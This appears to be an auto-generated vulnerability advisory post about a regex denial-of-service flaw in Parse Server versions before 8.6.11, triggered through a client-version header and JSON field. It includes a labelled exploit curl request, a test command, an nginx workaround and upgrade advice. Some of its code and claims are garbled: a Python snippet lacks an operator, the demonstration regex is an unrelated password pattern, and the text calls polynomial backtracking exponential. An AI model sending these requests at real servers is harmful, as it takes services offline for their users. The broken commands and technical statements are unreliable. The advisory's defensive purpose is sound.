Listen to this Post
How the CVE works:
This vulnerability resides in the way Parse Server processes the `X-Parse-Client-Version` header and `_ClientVersion` JSON body field. An unauthenticated attacker, needing only a publicly known Parse Application ID, crafts a malicious client SDK version string. This string is fed into a regex-based parser that validates the version format. Due to a flawed regex pattern, the parser exhibits polynomial backtracking behavior. For every additional character in the crafted input, the regex engine’s execution time grows exponentially. The parsing occurs on every request to any `/parse/` endpoint before authentication, rate limiting, or any access control checks. Consequently, a single HTTP request can consume seconds to minutes of synchronous CPU time on a Node.js worker. By sending a small number of concurrent requests, an attacker can saturate all available workers, making the entire Parse Server unresponsive. A variant of the attack places the malicious payload in the JSON body, allowing an even larger input that can pin a single worker for minutes. Production deployments using the default configuration are affected. The vulnerable code path was legacy logic meant to adapt to client SDK versions, a pattern now obsolete. The fix removes the vulnerable parser entirely and silently ignores the offending headers and fields.
DailyCVE form:
Platform: Parse Server
Version: Prior 8.6.11
Vulnerability: ReDoS via version
Severity: High
date: 2026-05-17
Prediction: Patch avail 8.6.11
Analytics under heading What Undercode Say:
Check Parse Server version
npm list parse-server
Test for vulnerability using a crafted header
curl -H "X-Parse-Application-Id: YOUR_APP_ID" -H "X-Parse-Client-Version: $(python -c "print('A'1000+'!')")" http://localhost:1337/parse/classes/Test
Monitor CPU usage during attack
watch -n1 'ps aux | grep node'
Apply workaround using Nginx reverse proxy to strip header
location /parse/ {
proxy_pass http://parse_server:1337;
proxy_set_header X-Parse-Client-Version "";
proxy_pass_request_body on;
More complex body filtering requires Lua module
}
Simple Node.js script to demonstrate regex backtracking
node -e "const regex = /^(?=.[a-z])(?=.[A-Z])(?=.\d)(?=.[@$!%?&])[A-Za-z\d@$!%?&]{8,}$/; const start = Date.now(); regex.test('A'.repeat(1000) + '!'); console.log(Date.now() - start);"
Exploit:
curl -X POST \
-H "X-Parse-Application-Id: YOUR_APP_ID" \
-H "X-Parse-Client-Version: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!" \
-H "Content-Type: application/json" \
-d '{"_ClientVersion":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!"}' \
http://parse-server:1337/parse/classes/TestObject
Protection from this CVE
1. Upgrade to Parse Server v8.6.11 or v9.5.0-alpha.14+.
- Deploy a WAF or reverse proxy to strip `X-Parse-Client-Version` header and `_ClientVersion` JSON field.
- Implement strict size limits on request headers and body fields.
- Monitor for abnormal CPU usage spikes on Parse Server workers.
Impact:
An unauthenticated attacker can cause a denial of service (DoS) by submitting a single HTTP request that triggers catastrophic regex backtracking, consuming seconds to minutes of CPU time per request. A small number of concurrent requests can saturate all Node.js workers, making the server unresponsive for all clients. The attack requires no prior authentication and bypasses rate limiting, affecting any production deployment with default configuration.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
